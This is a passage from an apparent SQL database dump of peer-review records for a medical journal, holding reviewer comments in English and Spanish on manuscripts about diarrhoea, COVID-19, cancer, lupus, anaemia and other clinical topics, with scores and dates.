with weak evidence).\r\n- There must be some system to report the quality and soundness of the recommendation, such as the GRADE system (It indicates to what extent we can trust that the estimate of the effect of the intervention is correct and to what extent we can trust that the implementation of the recommendation brings more benefits than risks).\r\n- There must be a determination of heterogeneity.\r\n- There should be a subgroup analysis (often it is interesting to look at a special category of review participants (eg an age group or severity of illness).\r\n- There must be a determination of publication bias (the collection of information must be comprehensive; both published and unpublished studies to avoid incurring selection bias).\r\n2.- Is it based on an unsystematic or opportunistic search for information?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n\r\n-Tables and figures:\r\nIf previously published images are used, the author\'s authorization must be obtained.\r\n\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style.','2021-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4613,17682,10452,NULL,'3','R','N','M','N','Es importante fortalecer la definición de la diarrea, con referencias de impacto.\r\nLa revisión bibliográfica no incluye referencias dentro del texto, es importante incluirlo. \r\nEn la tabla de etiología, en la columna de patologías, complementar el item Ca de colon.\r\nRevisar ortografía a lo largo del documento, palabras como: pérdida, paraclínicos, coproscópico, fórmula\r\nTambién es importante el uso de las mayúsculas: no van después de comas, ni después de dos puntos, ni dentro de paréntesis, tampoco en la mitad de oraciones.\r\nUsar término médicos a lo largo de la revisión.... ojos hundidos (enoftalmos).\r\n\r\nA lo largo del artículo es un poco confuso porque el título menciona el manejo de la enfermedad diarreica aguda pero en el desarrollo del artículo se centran en la diarrea infantil (aunque mezclan información con adulta).... definir el enfoque, si será hacia la parte infantil o será general.\r\n\r\nSe deben incrementar las referencias bibliográficas en el artículo, es una revisión y sólo tiene 11 referencias. En el resumen se declara que el trabajo aporta conceptos recientes en el abordaje y manejo de la enfermedad diarreica aguda, pero las referencias utilizadas no son tan recientes y no tienen un alto impacto.','El artículo presentado es una revisión de literatura sobre el enfoque y manejo de la enfermedad diarreica agua. Se enfoca principalmente en su definición, clasificación, etiología, y abordajes para el manejo de la enfermedad diarreica aguda basado en recomendaciones de evidencia actual. \r\n\r\nSe debe revisar la forma del artículo, uso indebido de signos de puntuación, ortografía y mayúsculas.\r\n\r\nEl artículo no incluye referencias dentro del texto, es importante incluirlo, sobretodo al ser una referencia bibliográfica. Se deben incrementar las referencias bibliográficas en el artículo, es una revisión y sólo tiene 11 referencias.','2021-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4614,17682,9639,NULL,'4','R','N','M','N','Siguiendo los lineamientos para los autores de la Revista, falta incluir el resumen y el abstract del artículo. El resumen (summary), de no más de 240 palabras, en español y traducido al inglés, debe enunciar los propósitos de estudio de la investigación, los procedimientos básicos, los hallazgos principales y las conclusiones.\r\n\r\nLas referencias deben incluir el DOI (Digital Object Identifier) del artículo.\r\n\r\nLOs autores, siguiendo las indicaciones de la Revista, deben fortalecer el trabajo: Artículo de revisión. Documento resultado de una investigación donde se analizan, sistematizan e integran los resultados de investigaciones publicadas o no publicadas, sobre un campo en ciencia o tecnología, con el fin de dar cuenta de los avances y las tendencias de desarrollo. Se caracteriza por presentar una cuidadosa revisión bibliográfica de por lo menos 50 referencias.','Es un artículo de revisión enfocado hacia la tuberculosos cutánea, las formas clínicas y su diagnóstico. \r\n\r\nFaltan incluir resumen y más referencias. Esto último le dará más impacto y fortaleza al trabajo. ','2021-10-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4619,18830,10882,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the Admissions of Acute Coronary Syndrome among Patients During Early Phase and After One Year of Coronavirus Disease 2019 (COVID-19) Pandemic, During coronavirus (Covid-19) pandemic, strict social containment measures have been adopted worldwide, and health care systems have been reorganized to cope with the enormous increase in the numbers of acutely ill patients.\r\nThe tables are well described.\r\nThe author had observed the al-Shifa hospital cardiac center in  Gaza showed that Acute Coronary Syndrome (ACS) admissions during the COVID-19 pandemic.\r\nDefinitely, I will accept this article to publish.','','2021-10-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4623,15586,10799,NULL,'4','G','Y','Y','Y','Please rephrase the title.\r\nThe introduction is very long.\r\nAll figures need legends.\r\n\r\n','Imade some suggestions.','2021-10-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4637,17211,10173,NULL,'5','g','y','y','y','I congratulate the author for preliminary acceptance of his article in this Journal. The author\'s study on cancer is highly appreciable. Author view on the duration of cancer and its treatment are associated with elevated serum C Reactive protein is a novel piece of work that has been carried out. As cancer has become common to most of the people around us, the method used for this work is very efficient because almost data of 200 cancer patients. I completely agree with the authors point that elevated serum levels of C Reactive protein leads to increase in risk of cancer. The results of this work show that out of 200 cancer patients, 65 patients has elevated serum CRP levels which proves its association with short duration of cancer and cancer treatment. This work concludes that patients with more than 12 months of medical history with cancer have lower CRP levels compared to newly diagnosed patients. The key point of this work is elevated Serum CRP levels in cancer patients can be used as therapeutic targets for treatment. Thank you for assigning me to review this article and I approve this work to be published in this journal.','','2021-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4645,13008,8589,NULL,'5','g','y','y','y','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal','Accept','2021-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4646,18830,10737,NULL,'5','g','y','y','y','\r\nThis article gives good information and adequate data.\r\nThe author had well described the Point-of-use Cleaning. All samples of Cleaning at Point of Use Perform and Importance Point-of-use Cleaning is described very well.\r\nAuthor had observed the Educated staff and team member developed the workflow and monitoring all the time that staff should be accountable about process and This will reduce the risk of patients, visitors, Doctors, Nurses and technicians safe from HAIs.\r\nDefinitely, I will accept this article to publish.\r\n','','2021-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4659,20378,10483,NULL,'5','g','y','y','n','The article titled Inflammatory arthritis and younger age of Lupus onset are associated with the development of Neuropsychiatric Lupus: Experience from a Single Centre in Pakistan is justified with the manuscript. Article is accepted to publish in the journal format. ','The article titled Inflammatory arthritis and younger age of Lupus onset are associated with the development of Neuropsychiatric Lupus: Experience from a Single Centre in Pakistan is justified with the manuscript. Article is accepted to publish in the journal format. ','2021-10-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4666,15588,10799,NULL,'5','g','d','y','y','The intelligent computer aided diagnosis and electroencephalogram  signals is needed  and could provide an efficient ,promising tool for patients with autism and depression disorders.','The intelligent computer aided diagnosis and electroencephalogram  signals is needed  and could provide an efficient ,promising tool for patients with autism and depression disorders.','2021-10-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4668,20495,11104,NULL,'5','r','y','y','y','The Idea of making this research paper is a great innovative to the philosophy. The research paper entitled \"Mechanisms of radiotherapy associated cognitive decline in patients with brain tumor\" mainly analysis the topic on clinical oncology and radiotherapy. the ionizing radiation (IR) is absorbed not only by the targeted cells, but also by the surrounding normal cells as well. Surgery, chemotherapy, and radiotherapy are the current options for treating brain tumor. These treatments are often used together and most patients, nowadays, receive all of them. The choice of treatment depends mainly on factors such as type and grade of brain tumor, location and size, age of the patient and general health. the figures 1 and 2 well explains the Tumor volumes in radiotherapy planning and Radiation-induced brain injury. In cancer patients, greater understanding of the mechanisms underlying cognitive dysfunction will be critical in the design of an optimal MRI sequence and in optimizing individual therapies for preventing later neurotoxicity such as dementia and WM necrosis. In clinical trials for high-grade glioma patients, neurocognitive function and quality of life are new important endpoints, especially for GBM patients who have a very short life expectancy. As a result, the search continues for imaging biomarkers to identify patients who are, and who are not, likely to develop cognitive impairment after radiotherapy treatment. Hence I strongly recommend this for publication as per the depth reading.','I approved it for publication','2021-10-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4683,11520,10979,NULL,'6','g','y','y','y','The aim of the study was to find out reliability of carpenter’s trisquare measure for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee. Total 24 participants included in study and 4 subjects excluded due to they had not completed in criteria. Result of present study suggested that CTM tool is reliable tool to asses postural impairments in geriatric individuals with symptomatic osteoarthritis of knee.This study suggests that carpenter’s trisquare tool is reliable tool for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee. Overall well written','','2021-10-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4684,11520,10979,NULL,'6','g','y','y','y','The aim of the study was to find out reliability of carpenter’s trisquare measure for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee. Total 24 participants included in study and 4 subjects excluded due to they had not completed in criteria. Result of present study suggested that CTM tool is reliable tool to asses postural impairments in geriatric individuals with symptomatic osteoarthritis of knee.This study suggests that carpenter’s trisquare tool is reliable tool for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee. Overall well written','','2021-10-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4685,12022,9640,NULL,'3','D','N','M','N','Migración de dispositivo intrauterino a la vejiga: reporte de un caso\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\nMigration of an intrauterine device to the bladder: a case report\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. \r\n','Migración de dispositivo intrauterino a la vejiga: reporte de un caso\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\nMigration of an intrauterine device to the bladder: a case report\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. \r\n','2021-10-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4689,17204,10714,NULL,'5','G','y','y','y','I appreciate and admire the author’s effort and determination to introduce a novel gene expression in order to detect Prostate cancer, reducing the mortality rate and risk among patients.\r\nI would like to express my view on this study, denoting some key points which I must acknowledge.\r\nThe study followed PCA for analyzing the biological data, creating a global map of human gene expression.\r\n Core-Expression Signature (PRAD-CES) was found to be the ultimate gene expression which was detected through the study. Among 33 genes of (PRAD-CES), 3 causative genes were detected through the study.\r\n An interesting element found is the detection of a novel fusion protein, responsible for the development of prostate cancer.\r\nI strongly believe and wish this study would reflect well on the author’s profile. Thus, in the light of all the evidences provided in the study, I suggest publishing this article.','','2021-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4692,11520,11038,NULL,'6','g','y','y','y','The aim of this case report is a demonstration of treatment with low dose cytarabine (LDAC) for a non-transformed newly diagnosed PMF patient with the inability of oral therapy and post-splenectomy complications. LDAC may be considered a good choice for the management of PMF patients after splenectomy in whom oral intake is compromised regardless of disease transformation and in the context of postsplenectomy. Future large-scale studies are required to confirm these findings. Overall well written.','','2021-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4693,11519,10815,NULL,'6','g','y','y','y','The aim of this study is to assessing the psychological impact of Covid-19 infection in my family and the entire community. \r\nAccording to this study, most of the people who experienced psychological mental health problems were children and mothers. This descriptive cross-sectional was well written with qualitative data the methods helped to explore more on the understanding of the psychological impact of Covid-19 on the affected families.','','2021-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4697,20671,10342,NULL,'3','R','Y','M','Y','The Coronavirus Disease 2019 (COVID-19) is an infection caused by the Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) first emerged in Wuhan (China) in December 2019, spreading rapidly across the world.\r\n\r\nWhile millions of people are in their homes in order to decrease the risk of transmission of the infection, Pharmacists also comes under health workers are on the frontline and most probable individuals to get affected by COVID-19.\r\n\r\nAs healthcare professionals, pharmacists can play key role during the pandemic, acting directly with the community, continuing to care for patients with chronic diseases, working in hospital pharmacies and providing pharmaceutical care to COVID-19 patients.\r\n\r\nThe author clearly exlplained the symptoms and adverse events too.\r\n\r\nThe paper has explained in detailed on symptomatic patients and asymptomatic patients and their impact on people who are not affected.\r\n\r\nPharmacists plays an major point of contact for patients in providing information and dissemination of prevention interventions.\r\n\r\nIt is an Error free article can be published.','The Coronavirus Disease 2019 (COVID-19) is an infection caused by the Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) first emerged in Wuhan (China) in December 2019, spreading rapidly across the world.\r\n\r\nWhile millions of people are in their homes in order to decrease the risk of transmission of the infection, Pharmacists also comes under health workers are on the frontline and most probable individuals to get affected by COVID-19.\r\n\r\nAs healthcare professionals, pharmacists can play key role during the pandemic, acting directly with the community, continuing to care for patients with chronic diseases, working in hospital pharmacies and providing pharmaceutical care to COVID-19 patients.\r\n\r\nThe author clearly exlplained the symptoms and adverse events too.\r\n\r\nThe paper has explained in detailed on symptomatic patients and asymptomatic patients and their impact on people who are not affected.\r\n\r\nPharmacists plays an major point of contact for patients in providing information and dissemination of prevention interventions.\r\n\r\nIt is an Error free article can be published.','2021-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4698,20671,10342,NULL,'3','R','Y','M','Y','The Coronavirus Disease 2019 (COVID-19) is an infection caused by the Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) first emerged in Wuhan (China) in December 2019, spreading rapidly across the world.\r\n\r\nWhile millions of people are in their homes in order to decrease the risk of transmission of the infection, Pharmacists also comes under health workers are on the frontline and most probable individuals to get affected by COVID-19.\r\n\r\nAs healthcare professionals, pharmacists can play key role during the pandemic, acting directly with the community, continuing to care for patients with chronic diseases, working in hospital pharmacies and providing pharmaceutical care to COVID-19 patients.\r\n\r\nThe author clearly exlplained the symptoms and adverse events too.\r\n\r\nThe paper has explained in detailed on symptomatic patients and asymptomatic patients and their impact on people who are not affected.\r\n\r\nPharmacists plays an major point of contact for patients in providing information and dissemination of prevention interventions.\r\n\r\nIt is an Error free article can be published.','The Coronavirus Disease 2019 (COVID-19) is an infection caused by the Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) first emerged in Wuhan (China) in December 2019, spreading rapidly across the world.\r\n\r\nWhile millions of people are in their homes in order to decrease the risk of transmission of the infection, Pharmacists also comes under health workers are on the frontline and most probable individuals to get affected by COVID-19.\r\n\r\nAs healthcare professionals, pharmacists can play key role during the pandemic, acting directly with the community, continuing to care for patients with chronic diseases, working in hospital pharmacies and providing pharmaceutical care to COVID-19 patients.\r\n\r\nThe author clearly exlplained the symptoms and adverse events too.\r\n\r\nThe paper has explained in detailed on symptomatic patients and asymptomatic patients and their impact on people who are not affected.\r\n\r\nPharmacists plays an major point of contact for patients in providing information and dissemination of prevention interventions.\r\n\r\nIt is an Error free article can be published.','2021-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4703,18830,11144,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the Review: Impact of Dengue and vaccines in India. All samples taken by a DENGVAXIA, DEN, aetiologia of DHF/DSS, are explained very well and he also discussed a few points on environmental management and modification to prevent mosquitoes from accessing egg-laying habitats and prevention from our side.\r\nThe author had observed the dengvaxia® vaccine is effective in patients who have been exposed to the virus earlier. Study results are awaited to prove the safety and effectiveness of newer vaccines.\r\nDefinitely, I will accept this article to publish.','','2021-10-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4706,16023,10222,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"A New Media Platform Evaluates Chinese Social Workers’ Anti-Epidemic Actions: An Analysis of Network Public Opinion Based on COVID-19\", please find my comments.\r\n\r\nI do agree that, Lin Lin and Wang Jingying took social workers as the research object who worked during the period of epidemic prevention and control under the background of COVID-19.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','The manuscript is good and accepted the article.','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4707,16023,10322,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"The Relationship between Authoritative Parenting Style, Emotion-Regulation, and Young Adult Children’s Prosocial Behaviour\", please find my comments.\r\n\r\nI do agree that, Parenting styles can be classified into three categories, which are authoritarian, permissive, and authoritative parenting styles.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and accepted the publication','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4708,16023,10371,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"The Influence of Racial Trauma on the Vocational Choice: Decisions of Black Collegians\", please find my comments.\r\n\r\nI do agree that, The mental health concerns of Black collegians at an urban HBCU were examined to identify possible connections to career choice decisions and racial trauma. \r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and accepted for publication','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4709,11446,11085,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"ASSESSING THE LEVEL OF E-HEALTH IN AFRICA USING NIGERIA AS A MODEL; BARRIERS AND INNOVATIONS\", please find my comments.\r\n\r\nI do agree that, Despite the growing success in global e-health and transition of most health care system to a more accessible form of health care for all (e-health), not all countries or parts of the world find it easy to adopt this trending health format.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and accepted for publication','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4710,11444,10840,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Health system factors associated with patient driven referral for health services among outpatients at the County Referral Hospital in Nyeri, Kenya\", please find my comments.\r\n\r\nI do agree that, Research notes that a functional referral process in chain of health service delivery influences access, quality, and health outcomes.	\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','The Manuscript is Good and accepted for publication','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4711,11444,11008,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Feedback-Informed Treatment in Mental Health Services with Spanish-Speaking Patients: From Outcome to Process Monitoring\", please find my comments.\r\n\r\nI do agree that, Feedback-Informed Treatment (FIT) represents a relevant development in providing psychological therapies in mental health services. \r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6. The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and accepted for publication.','2021-10-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4719,11520,11083,NULL,'6','g','y','y','y','Anaemia during pregnancy is a public health problem especially in developing countries and is associated with adverse outcomes in pregnancy. This study aimed to determine the factors which predispose pregnant women to Anaemia. This study revealed three key factors to be associated with anemia among pregnant women in Jigjiga Town, namely food insecurity, dietary practices, the intake of iron and folic acid supplement was high. This study was carried out with the objective of determining the risk factors associated with anemia among pregnant women in Wassa East District. Overall well written.','','2021-10-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4740,18913,11320,NULL,'4','R','N','Y','N','A good attempt to understand the Knowledge of patients coming to a teaching hospital about Nosocomial infections. However, the association of knowledge could have been studied at least in the first few days (day3- discharge) and its association with KAP. No explicit effort is made or written about the what is the standard operating procedure set by the hospital authorities to create awareness among patients and measured the practices of health care workers in that background and the reasons for compromises if any','A mear Knowledge of patients accessing teaching hospitals is not adequate. The outcomes among the inpatients would add value to the study. At least the guidelines and opportunities for the health workers to be explained and against which the compromises are made would add value.','2021-11-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4751,11520,11246,NULL,'6','g','y','y','y','Well written Manuscript, I strongly recommended to publish.','','2021-11-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4752,11520,11246,NULL,'6','g','y','y','y','Well written Manuscript, I strongly recommended to publish.','','2021-11-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4764,11520,11307,NULL,'6','g','y','y','y','Accepted for Publication','','2021-11-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4765,11520,11133,NULL,'6','g','y','y','y','Accepted','','2021-11-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4774,20696,11487,NULL,'6','G','Y','Y','Y','Accepted','Accepted to Publish','2021-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4785,10212,11049,NULL,'5','g','y','y','y','It is with great pleasure that I review the manuscript entitled “Role of Metformin in Triple-Negative Breast Cancer Obese Patients”. It is indeed an interesting outlook on Inhibition of de novo palmitate synthesis by fatty acid synthase induces apoptosis in tumor cells by remodeling cell membranes, inhibiting signaling pathways, and reprogramming gene expression. \r\nThe abstract looks good describing about the whole review in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have fatty acid metabolism in breast cancer cells: differential inhibitory effects of epigallocatechin gallate (EGCG) and C75.\r\nIn main description, the medical history was non-contributory. Metabolic control of adult neural stem cell activity by Fasn-dependent lipogenesis.\r\nI liked the concept of using progestins and androgens stimulate lipid accumulation in T47D breast cancer cells via their own receptors..\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4787,11520,11354,NULL,'6','g','y','y','y','Accepted for publication','','2021-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4788,11520,11311,NULL,'6','g','y','y','y','Accepted for publication','','2021-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4799,20695,11487,NULL,'5','G','Y','Y','Y','Accepted','Accepted to publish','2021-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4800,20695,11589,NULL,'6','G','Y','Y','Y','Accepted','Accepted to publish','2021-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4801,20695,11589,NULL,'6','G','Y','Y','Y','Accepted','Accepted to publish','2021-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4802,12022,10366,NULL,'3','d','N','Y','Y','ASSESSMENT OF KNOWLDGE, ATTITUDE AND PRACTICE OF MOTHERS IN CHILD BEARING AGE TOWORDS INSTITUTIONAL DELIVERY IN ADABA TOWN, ARSI ZONE, OROMIYA REGION, ETHIOPIA\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\nI have received the Cover Letter regarding a manuscript titled “ATTITUDE TOWARD VOLUNTARY COUNSELING AND TESTING FOR HUMAN IMMUNO DEFICENCY VIRUS/ ACQUIRED IMMUNO DEFICIENCY SYNDROME AND ITS UTILIZATION AMONG YOUTH (15-25 AGE) IN GINNIR TOWN, OROMIA REGION,SOUTH EAST ETHIOPIA.” But the manuscript is “ASSESSMENT OF KNOWLDGE, ATTITUDE AND PRACTICE OF MOTHERS IN CHILD BEARING AGE TOWORDS INSTITUTIONAL DELIVERY IN ADABA TOWN, ARSI ZONE, OROMIYA REGION, ETHIOPIA”\r\n\r\n\r\n-Sample size:\r\nIt seems that the sample size was calculated for prevalence. But, was the sample size calculated for the comparison of the results between the groups (Home /Institution )? What were the hypothetical differences between groups, power, etc., to calculate the sample size?\r\n-Questionnaire:\r\nWhat were the reliability and validity of this questionnaire?\r\nIn what language were the questionnaires used? Is the validity shown for the questionnaires in the original language or in translated version? Were the questionnaires translated into another language and reliability and validity re-evaluated?\r\nTranslation of a scale: \r\nIn addition to using rigorous translation and evaluation methods to ensure cultural equivalence, the psychometric properties of the instrument should be ensured in each culture or country where it is to be used, including item-scale correlations (Cronbach\'s alpha), comparisons of responses, the correlation of the scale with an existing gold standard or other similar instruments and the analysis of the psychometric properties of the instrument in relation to the subgroups of the population of interest).\r\n-Tables:\r\nIn dichotomous variables (such as Yes / No), just it is enough write one of the two possibilities (obviously the rest is the other value of the variable).\r\n-References:\r\nReview, please, the rules of the Journal.\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. \r\nThe abbreviations of journals should conform to those of the US National Library of Medicine for Medline / PubMed (available 